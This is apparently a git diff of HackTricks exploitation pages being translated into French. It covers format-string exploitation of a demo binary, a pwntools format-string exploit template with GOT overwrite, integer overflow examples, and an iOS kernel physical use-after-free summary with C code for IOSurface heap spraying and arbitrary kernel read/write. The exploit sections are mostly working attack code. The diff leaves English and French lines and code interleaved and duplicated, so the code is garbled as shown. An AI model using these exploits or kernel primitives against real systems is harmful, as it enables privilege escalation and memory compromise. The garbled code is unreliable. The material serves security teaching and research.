if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
printf("Access Granted.\n");
} else {
printf("Access Denied.\n");
}
// Check both passwords
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
printf("Access Granted.\n");
} else {
printf("Access Denied.\n");
}
return 0;
return 0;
}
```
Compile it with:
Compilez-le avec :
```bash
clang -o fs-read fs-read.c -Wno-format-security
```
### Lire depuis la pile
### Read from stack
The **`stack_password`** will be stored in the stack because it's a local variable, so just abusing printf to show the content of the stack is enough. This is an exploit to BF the first 100 positions to leak the passwords form the stack:
Le **`stack_password`** sera stocké dans la pile car c'est une variable locale, donc il suffit d'abuser de printf pour afficher le contenu de la pile. C'est une exploitation pour BF les 100 premières positions afin de révéler les mots de passe de la pile :
```python
from pwn import *
for i in range(100):
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()
```
In the image it's possible to see that we can leak the password from the stack in the `10th` position:
Dans l'image, il est possible de voir que nous pouvons leak le mot de passe de la pile à la `10ème` position :
<figure><img src="../../images/image (1234).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../images/image (1233).png" alt="" width="338"><figcaption></figcaption></figure>
### Read data
### Lire les données
Running the same exploit but with `%p` instead of `%s` it's possible to leak a heap address from the stack at `%25$p`. Moreover, comparing the leaked address (`0xaaaab7030894`) with the position of the password in memory in that process we can obtain the addresses difference:
En exécutant le même exploit mais avec `%p` au lieu de `%s`, il est possible de leak une adresse de tas depuis la pile à `%25$p`. De plus, en comparant l'adresse leakée (`0xaaaab7030894`) avec la position du mot de passe en mémoire dans ce processus, nous pouvons obtenir la différence d'adresses :
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
Now it's time to find how to control 1 address in the stack to access it from the second format string vulnerability:
Il est maintenant temps de trouver comment contrôler 1 adresse dans la pile pour y accéder depuis la deuxième vulnérabilité de chaîne de format :
```python
from pwn import *
def leak_heap(p):
p.sendlineafter(b"first password:", b"%5$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
p.sendlineafter(b"first password:", b"%5$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
for i in range(30):
p = process("./fs-read")
p = process("./fs-read")
heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")
heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")
password_addr = heap_leak_addr - 0x126a
password_addr = heap_leak_addr - 0x126a
print(f"Try: {i}")
payload = f"%{i}$p|||".encode()
payload += b"AAAAAAAA"
print(f"Try: {i}")
payload = f"%{i}$p|||".encode()
payload += b"AAAAAAAA"
p.sendline(payload)
output = p.clean()
print(output.decode("utf-8"))
p.close()
p.sendline(payload)
output = p.clean()
print(output.decode("utf-8"))
p.close()
```
And it's possible to see that in the **try 14** with the used passing we can control an address:
Et il est possible de voir cela dans le **try 14** avec le passage utilisé, nous pouvons contrôler une adresse :
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
### Exploit
```python
from pwn import *
p = process("./fs-read")
def leak_heap(p):
# At offset 25 there is a heap leak
p.sendlineafter(b"first password:", b"%25$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
# At offset 25 there is a heap leak
p.sendlineafter(b"first password:", b"%25$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")
@ -178,7 +163,6 @@ output = p.clean()
print(output)
p.close()
```
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,7 +1,6 @@
# Format Strings Template
# Modèle de chaînes de format
{{#include ../../banners/hacktricks-training.md}}
```python
from pwn import *
from time import sleep
@ -36,23 +35,23 @@ print(" ====================== ")
def connect_binary():
global P, ELF_LOADED, ROP_LOADED
global P, ELF_LOADED, ROP_LOADED
if LOCAL:
P = process(LOCAL_BIN) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
if LOCAL:
P = process(LOCAL_BIN) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
elif REMOTETTCP:
P = remote('10.10.10.10',1338) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
elif REMOTETTCP:
P = remote('10.10.10.10',1338) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
elif REMOTESSH:
ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
P = ssh_shell.process(REMOTE_BIN) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(elf)# Find ROP gadgets
elif REMOTESSH:
ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
P = ssh_shell.process(REMOTE_BIN) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(elf)# Find ROP gadgets
#######################################
@ -60,39 +59,39 @@ def connect_binary():
#######################################
def send_payload(payload):
payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD
log.info("payload = %s" % repr(payload))
if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED")
P.sendline(payload)
sleep(0.5)
return P.recv()
payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD
log.info("payload = %s" % repr(payload))
if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED")
P.sendline(payload)
sleep(0.5)
return P.recv()
def get_formatstring_config():
global P
global P
for offset in range(1,1000):
connect_binary()
P.clean()
for offset in range(1,1000):
connect_binary()
P.clean()
payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p"
recieved = send_payload(payload).strip()
payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p"
recieved = send_payload(payload).strip()
if b"41" in recieved:
for padlen in range(0,4):
if b"41414141" in recieved:
connect_binary()
payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p"
recieved = send_payload(payload).strip()
print(recieved)
if b"42424242" in recieved:
log.info(f"Found offset ({offset}) and padlen ({padlen})")
return offset, padlen
if b"41" in recieved:
for padlen in range(0,4):
if b"41414141" in recieved:
connect_binary()
payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p"
recieved = send_payload(payload).strip()
print(recieved)
if b"42424242" in recieved:
log.info(f"Found offset ({offset}) and padlen ({padlen})")
return offset, padlen
else:
connect_binary()
payload = b" " + payload
recieved = send_payload(payload).strip()
else:
connect_binary()
payload = b" " + payload
recieved = send_payload(payload).strip()
# In order to exploit a format string you need to find a position where part of your payload
@ -125,10 +124,10 @@ log.info(f"Printf GOT address: {hex(P_GOT)}")
connect_binary()
if GDB and not REMOTETTCP and not REMOTESSH:
# attach gdb and continue
# You can set breakpoints, for example "break *main"
gdb.attach(P.pid, "b *main") #Add more breaks separeted by "\n"
sleep(5)
# attach gdb and continue
# You can set breakpoints, for example "break *main"
gdb.attach(P.pid, "b *main") #Add more breaks separeted by "\n"
sleep(5)
format_string = FmtStr(execute_fmt=send_payload, offset=offset, padlen=padlen, numbwritten=NNUM_ALREADY_WRITTEN_BYTES)
#format_string.write(P_FINI_ARRAY, INIT_LOOP_ADDR)
@ -141,5 +140,4 @@ format_string.execute_writes()
P.interactive()
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,123 +1,115 @@
# Integer Overflow
# Débordement d'entier
{{#include ../banners/hacktricks-training.md}}
## Basic Information
## Informations de base
At the heart of an **integer overflow** is the limitation imposed by the **size** of data types in computer programming and the **interpretation** of the data.
Au cœur d'un **débordement d'entier** se trouve la limitation imposée par la **taille** des types de données en programmation informatique et l'**interprétation** des données.
For example, an **8-bit unsigned integer** can represent values from **0 to 255**. If you attempt to store the value 256 in an 8-bit unsigned integer, it wraps around to 0 due to the limitation of its storage capacity. Similarly, for a **16-bit unsigned integer**, which can hold values from **0 to 65,535**, adding 1 to 65,535 will wrap the value back to 0.
Par exemple, un **entier non signé de 8 bits** peut représenter des valeurs de **0 à 255**. Si vous essayez de stocker la valeur 256 dans un entier non signé de 8 bits, elle revient à 0 en raison de la limitation de sa capacité de stockage. De même, pour un **entier non signé de 16 bits**, qui peut contenir des valeurs de **0 à 65 535**, ajouter 1 à 65 535 ramènera la valeur à 0.
Moreover, an **8-bit signed integer** can represent values from **-128 to 127**. This is because one bit is used to represent the sign (positive or negative), leaving 7 bits to represent the magnitude. The most negative number is represented as **-128** (binary `10000000`), and the most positive number is **127** (binary `01111111`).
De plus, un **entier signé de 8 bits** peut représenter des valeurs de **-128 à 127**. Cela est dû au fait qu'un bit est utilisé pour représenter le signe (positif ou négatif), laissant 7 bits pour représenter la magnitude. Le nombre le plus négatif est représenté par **-128** (binaire `10000000`), et le nombre le plus positif est **127** (binaire `01111111`).
### Max values
### Valeurs maximales
For potential **web vulnerabilities** it's very interesting to know the maximum supported values:
Pour les **vulnérabilités web** potentielles, il est très intéressant de connaître les valeurs maximales prises en charge :
{{#tabs}}
{{#tab name="Rust"}}
```rust
fn main() {
let mut quantity = 2147483647;
let mut quantity = 2147483647;
let (mul_result, _) = i32::overflowing_mul(32767, quantity);
let (add_result, _) = i32::overflowing_add(1, quantity);
let (mul_result, _) = i32::overflowing_mul(32767, quantity);
let (add_result, _) = i32::overflowing_add(1, quantity);
println!("{}", mul_result);
println!("{}", add_result);
println!("{}", mul_result);
println!("{}", add_result);
}
```
{{#endtab}}
{{#tab name="C"}}
```c
#include <stdio.h>
#include <limits.h>
int main() {
int a = INT_MAX;
int b = 0;
int c = 0;
int a = INT_MAX;
int b = 0;
int c = 0;
b = a * 100;
c = a + 1;
b = a * 100;
c = a + 1;
printf("%d\n", INT_MAX);
printf("%d\n", b);
printf("%d\n", c);
return 0;
printf("%d\n", INT_MAX);
printf("%d\n", b);
printf("%d\n", c);
return 0;
}
```
{{#endtab}}
{{#endtabs}}
## Examples
## Exemples
### Pure overflow
The printed result will be 0 as we overflowed the char:
### Débordement pur
Le résultat imprimé sera 0 car nous avons débordé le char :
```c
#include <stdio.h>
int main() {
unsigned char max = 255; // 8-bit unsigned integer
unsigned char result = max + 1;
printf("Result: %d\n", result); // Expected to overflow
return 0;
unsigned char max = 255; // 8-bit unsigned integer
unsigned char result = max + 1;
printf("Result: %d\n", result); // Expected to overflow
return 0;
}
```
### Conversion de signé à non signé
### Signed to Unsigned Conversion
Consider a situation where a signed integer is read from user input and then used in a context that treats it as an unsigned integer, without proper validation:
Considérez une situation où un entier signé est lu à partir de l'entrée utilisateur et ensuite utilisé dans un contexte qui le traite comme un entier non signé, sans validation appropriée :
```c
#include <stdio.h>
int main() {
int userInput; // Signed integer
printf("Enter a number: ");
scanf("%d", &userInput);
int userInput; // Signed integer
printf("Enter a number: ");
scanf("%d", &userInput);
// Treating the signed input as unsigned without validation
unsigned int processedInput = (unsigned int)userInput;
// Treating the signed input as unsigned without validation
unsigned int processedInput = (unsigned int)userInput;
// A condition that might not work as intended if userInput is negative
if (processedInput > 1000) {
printf("Processed Input is large: %u\n", processedInput);
} else {
printf("Processed Input is within range: %u\n", processedInput);
}
// A condition that might not work as intended if userInput is negative
if (processedInput > 1000) {
printf("Processed Input is large: %u\n", processedInput);
} else {
printf("Processed Input is within range: %u\n", processedInput);
}
return 0;
return 0;
}
```
Dans cet exemple, si un utilisateur saisit un nombre négatif, il sera interprété comme un grand entier non signé en raison de la façon dont les valeurs binaires sont interprétées, ce qui peut entraîner un comportement inattendu.
In this example, if a user inputs a negative number, it will be interpreted as a large unsigned integer due to the way binary values are interpreted, potentially leading to unexpected behavior.
### Other Examples
### Autres exemples
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
- Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection
- Seulement 1B est utilisé pour stocker la taille du mot de passe, il est donc possible de le dépasser et de le faire penser qu'il a une longueur de 4 alors qu'il est en réalité de 260 pour contourner la protection de vérification de longueur.
- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
- Given a couple of numbers find out using z3 a new number that multiplied by the first one will give the second one:&#x20;
- Étant donné quelques nombres, trouvez en utilisant z3 un nouveau nombre qui multiplié par le premier donnera le deuxième :&#x20;
```
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
```
```
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
```
- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
- Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection and overwrite in the stack the next local variable and bypass both protections
- Seulement 1B est utilisé pour stocker la taille du mot de passe, il est donc possible de le dépasser et de le faire penser qu'il a une longueur de 4 alors qu'il est en réalité de 260 pour contourner la protection de vérification de longueur et écraser dans la pile la prochaine variable locale et contourner les deux protections.
## ARM64
This **doesn't change in ARM64** as you can see in [**this blog post**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
Cela **ne change pas en ARM64** comme vous pouvez le voir dans [**cet article de blog**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,212 +1,203 @@
# iOS Exploiting
## Physical use-after-free
## Utilisation physique après libération
This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) moreover further information about exploit using this technique can be found in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
Ceci est un résumé du post de [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html), de plus, des informations supplémentaires sur l'exploitation utilisant cette technique peuvent être trouvées dans [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
### Memory management in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
### Gestion de la mémoire dans XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
The **virtual memory address space** for user processes on iOS spans from **0x0 to 0x8000000000**. However, these addresses dont directly map to physical memory. Instead, the **kernel** uses **page tables** to translate virtual addresses into actual **physical addresses**.
L'**espace d'adresses mémoire virtuelle** pour les processus utilisateurs sur iOS s'étend de **0x0 à 0x8000000000**. Cependant, ces adresses ne correspondent pas directement à la mémoire physique. Au lieu de cela, le **noyau** utilise des **tables de pages** pour traduire les adresses virtuelles en **adresses physiques** réelles.
#### Levels of Page Tables in iOS
#### Niveaux des tables de pages dans iOS
Page tables are organized hierarchically in three levels:
Les tables de pages sont organisées hiérarchiquement en trois niveaux :
1. **L1 Page Table (Level 1)**:
* Each entry here represents a large range of virtual memory.
* It covers **0x1000000000 bytes** (or **256 GB**) of virtual memory.
2. **L2 Page Table (Level 2)**:
* An entry here represents a smaller region of virtual memory, specifically **0x2000000 bytes** (32 MB).
* An L1 entry may point to an L2 table if it can't map the entire region itself.
3. **L3 Page Table (Level 3)**:
* This is the finest level, where each entry maps a single **4 KB** memory page.
* An L2 entry may point to an L3 table if more granular control is needed.
1. **Table de pages L1 (Niveau 1)** :
* Chaque entrée ici représente une large plage de mémoire virtuelle.
* Elle couvre **0x1000000000 octets** (ou **256 Go**) de mémoire virtuelle.
2. **Table de pages L2 (Niveau 2)** :
* Une entrée ici représente une région plus petite de mémoire virtuelle, spécifiquement **0x2000000 octets** (32 Mo).
* Une entrée L1 peut pointer vers une table L2 si elle ne peut pas mapper toute la région elle-même.
3. **Table de pages L3 (Niveau 3)** :
* C'est le niveau le plus fin, où chaque entrée mappe une seule page mémoire de **4 Ko**.
* Une entrée L2 peut pointer vers une table L3 si un contrôle plus granulaire est nécessaire.
#### Mapping Virtual to Physical Memory
#### Mapping de la mémoire virtuelle à la mémoire physique
* **Direct Mapping (Block Mapping)**:
* Some entries in a page table directly **map a range of virtual addresses** to a contiguous range of physical addresses (like a shortcut).
* **Pointer to Child Page Table**:
* If finer control is needed, an entry in one level (e.g., L1) can point to a **child page table** at the next level (e.g., L2).
* **Mapping direct (Mapping par bloc)** :
* Certaines entrées dans une table de pages **mappent directement une plage d'adresses virtuelles** à une plage contiguë d'adresses physiques (comme un raccourci).
* **Pointeur vers la table de pages enfant** :
* Si un contrôle plus fin est nécessaire, une entrée à un niveau (par exemple, L1) peut pointer vers une **table de pages enfant** au niveau suivant (par exemple, L2).
#### Example: Mapping a Virtual Address
#### Exemple : Mapping d'une adresse virtuelle
Lets say you try to access the virtual address **0x1000000000**:
Disons que vous essayez d'accéder à l'adresse virtuelle **0x1000000000** :
1. **L1 Table**:
* The kernel checks the L1 page table entry corresponding to this virtual address. If it has a **pointer to an L2 page table**, it goes to that L2 table.
2. **L2 Table**:
* The kernel checks the L2 page table for a more detailed mapping. If this entry points to an **L3 page table**, it proceeds there.
3. **L3 Table**:
* The kernel looks up the final L3 entry, which points to the **physical address** of the actual memory page.
1. **Table L1** :
* Le noyau vérifie l'entrée de la table de pages L1 correspondant à cette adresse virtuelle. Si elle a un **pointeur vers une table de pages L2**, elle va à cette table L2.
2. **Table L2** :
* Le noyau vérifie la table de pages L2 pour un mapping plus détaillé. Si cette entrée pointe vers une **table de pages L3**, il y procède.
3. **Table L3** :
* Le noyau consulte l'entrée finale L3, qui pointe vers l'**adresse physique** de la page mémoire réelle.
#### Example of Address Mapping
#### Exemple de mapping d'adresse
If you write the physical address **0x800004000** into the first index of the L2 table, then:
Si vous écrivez l'adresse physique **0x800004000** dans le premier index de la table L2, alors :
* Virtual addresses from **0x1000000000** to **0x1002000000** map to physical addresses from **0x800004000** to **0x802004000**.
* This is a **block mapping** at the L2 level.
* Les adresses virtuelles de **0x1000000000** à **0x1002000000** mappent aux adresses physiques de **0x800004000** à **0x802004000**.
* C'est un **mapping par bloc** au niveau L2.
Alternatively, if the L2 entry points to an L3 table:
Alternativement, si l'entrée L2 pointe vers une table L3 :
* Each 4 KB page in the virtual address range **0x1000000000 -> 0x1002000000** would be mapped by individual entries in the L3 table.
* Chaque page de 4 Ko dans la plage d'adresses virtuelles **0x1000000000 -> 0x1002000000** serait mappée par des entrées individuelles dans la table L3.
### Physical use-after-free
### Utilisation physique après libération
A **physical use-after-free** (UAF) occurs when:
Une **utilisation physique après libération** (UAF) se produit lorsque :
1. A process **allocates** some memory as **readable and writable**.
2. The **page tables** are updated to map this memory to a specific physical address that the process can access.
3. The process **deallocates** (frees) the memory.
4. However, due to a **bug**, the kernel **forgets to remove the mapping** from the page tables, even though it marks the corresponding physical memory as free.
5. The kernel can then **reallocate this "freed" physical memory** for other purposes, like **kernel data**.
6. Since the mapping wasnt removed, the process can still **read and write** to this physical memory.
1. Un processus **alloue** de la mémoire comme **lisible et écrivable**.
2. Les **tables de pages** sont mises à jour pour mapper cette mémoire à une adresse physique spécifique que le processus peut accéder.
3. Le processus **désalloue** (libère) la mémoire.
4. Cependant, en raison d'un **bug**, le noyau **oublie de supprimer le mapping** des tables de pages, même s'il marque la mémoire physique correspondante comme libre.
5. Le noyau peut alors **réallouer cette mémoire physique "libérée"** à d'autres fins, comme des **données du noyau**.
6. Puisque le mapping n'a pas été supprimé, le processus peut toujours **lire et écrire** dans cette mémoire physique.
This means the process can access **pages of kernel memory**, which could contain sensitive data or structures, potentially allowing an attacker to **manipulate kernel memory**.
Cela signifie que le processus peut accéder aux **pages de mémoire du noyau**, qui pourraient contenir des données ou des structures sensibles, permettant potentiellement à un attaquant de **manipuler la mémoire du noyau**.
### Exploitation Strategy: Heap Spray
### Stratégie d'exploitation : Spray de tas
Since the attacker cant control which specific kernel pages will be allocated to freed memory, they use a technique called **heap spray**:
Puisque l'attaquant ne peut pas contrôler quelles pages spécifiques du noyau seront allouées à la mémoire libérée, il utilise une technique appelée **spray de tas** :
1. The attacker **creates a large number of IOSurface objects** in kernel memory.
2. Each IOSurface object contains a **magic value** in one of its fields, making it easy to identify.
3. They **scan the freed pages** to see if any of these IOSurface objects landed on a freed page.
4. When they find an IOSurface object on a freed page, they can use it to **read and write kernel memory**.
1. L'attaquant **crée un grand nombre d'objets IOSurface** dans la mémoire du noyau.
2. Chaque objet IOSurface contient une **valeur magique** dans l'un de ses champs, ce qui le rend facile à identifier.
3. Ils **scannent les pages libérées** pour voir si l'un de ces objets IOSurface s'est retrouvé sur une page libérée.
4. Lorsqu'ils trouvent un objet IOSurface sur une page libérée, ils peuvent l'utiliser pour **lire et écrire dans la mémoire du noyau**.
More info about this in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
Plus d'infos à ce sujet dans [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
### Step-by-Step Heap Spray Process
### Processus de spray de tas étape par étape
1. **Spray IOSurface Objects**: The attacker creates many IOSurface objects with a special identifier ("magic value").
2. **Scan Freed Pages**: They check if any of the objects have been allocated on a freed page.
3. **Read/Write Kernel Memory**: By manipulating fields in the IOSurface object, they gain the ability to perform **arbitrary reads and writes** in kernel memory. This lets them:
* Use one field to **read any 32-bit value** in kernel memory.
* Use another field to **write 64-bit values**, achieving a stable **kernel read/write primitive**.
Generate IOSurface objects with the magic value IOSURFACE\_MAGIC to later search for:
1. **Spray d'objets IOSurface** : L'attaquant crée de nombreux objets IOSurface avec un identifiant spécial ("valeur magique").
2. **Scanner les pages libérées** : Ils vérifient si l'un des objets a été alloué sur une page libérée.
3. **Lire/Écrire dans la mémoire du noyau** : En manipulant des champs dans l'objet IOSurface, ils obtiennent la capacité d'effectuer des **lectures et écritures arbitraires** dans la mémoire du noyau. Cela leur permet de :
* Utiliser un champ pour **lire n'importe quelle valeur 32 bits** dans la mémoire du noyau.
* Utiliser un autre champ pour **écrire des valeurs 64 bits**, atteignant un **primitive de lecture/écriture stable du noyau**.
Générer des objets IOSurface avec la valeur magique IOSURFACE_MAGIC à rechercher plus tard :
```c
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;
size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;
(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;
size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;
(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}
```
Search for **`IOSurface`** objects in one freed physical page:
Recherchez des objets **`IOSurface`** dans une page physique libérée :
```c
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;
for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);
for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;
for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);
for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}
sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);
return 0;
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);
return 0;
}
```
### Réaliser des opérations de lecture/écriture du noyau avec IOSurface
### Achieving Kernel Read/Write with IOSurface
Après avoir pris le contrôle d'un objet IOSurface dans la mémoire du noyau (mappé à une page physique libérée accessible depuis l'espace utilisateur), nous pouvons l'utiliser pour des **opérations de lecture et d'écriture arbitraires du noyau**.
After achieving control over an IOSurface object in kernel memory (mapped to a freed physical page accessible from userspace), we can use it for **arbitrary kernel read and write operations**.
**Champs clés dans IOSurface**
**Key Fields in IOSurface**
L'objet IOSurface a deux champs cruciaux :
The IOSurface object has two crucial fields:
1. **Pointeur de compte d'utilisation** : Permet une **lecture de 32 bits**.
2. **Pointeur de timestamp indexé** : Permet une **écriture de 64 bits**.
1. **Use Count Pointer**: Allows a **32-bit read**.
2. **Indexed Timestamp Pointer**: Allows a **64-bit write**.
En écrasant ces pointeurs, nous les redirigeons vers des adresses arbitraires dans la mémoire du noyau, permettant des capacités de lecture/écriture.
By overwriting these pointers, we redirect them to arbitrary addresses in kernel memory, enabling read/write capabilities.
#### Lecture du noyau de 32 bits
#### 32-Bit Kernel Read
To perform a read:
1. Overwrite the **use count pointer** to point to the target address minus a 0x14-byte offset.
2. Use the `get_use_count` method to read the value at that address.
Pour effectuer une lecture :
1. Écrasez le **pointeur de compte d'utilisation** pour qu'il pointe vers l'adresse cible moins un décalage de 0x14 octets.
2. Utilisez la méthode `get_use_count` pour lire la valeur à cette adresse.
```c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}
uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}
```
#### Écriture du noyau 64 bits
#### 64-Bit Kernel Write
To perform a write:
1. Overwrite the **indexed timestamp pointer** to the target address.
2. Use the `set_indexed_timestamp` method to write a 64-bit value.
Pour effectuer une écriture :
1. Écrasez le **pointeur de timestamp indexé** à l'adresse cible.
2. Utilisez la méthode `set_indexed_timestamp` pour écrire une valeur de 64 bits.
```c
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}
```
#### Récapitulatif du Flux d'Exploitation
#### Exploit Flow Recap
1. **Trigger Physical Use-After-Free**: Free pages are available for reuse.
2. **Spray IOSurface Objects**: Allocate many IOSurface objects with a unique "magic value" in kernel memory.
3. **Identify Accessible IOSurface**: Locate an IOSurface on a freed page you control.
4. **Abuse Use-After-Free**: Modify pointers in the IOSurface object to enable arbitrary **kernel read/write** via IOSurface methods.
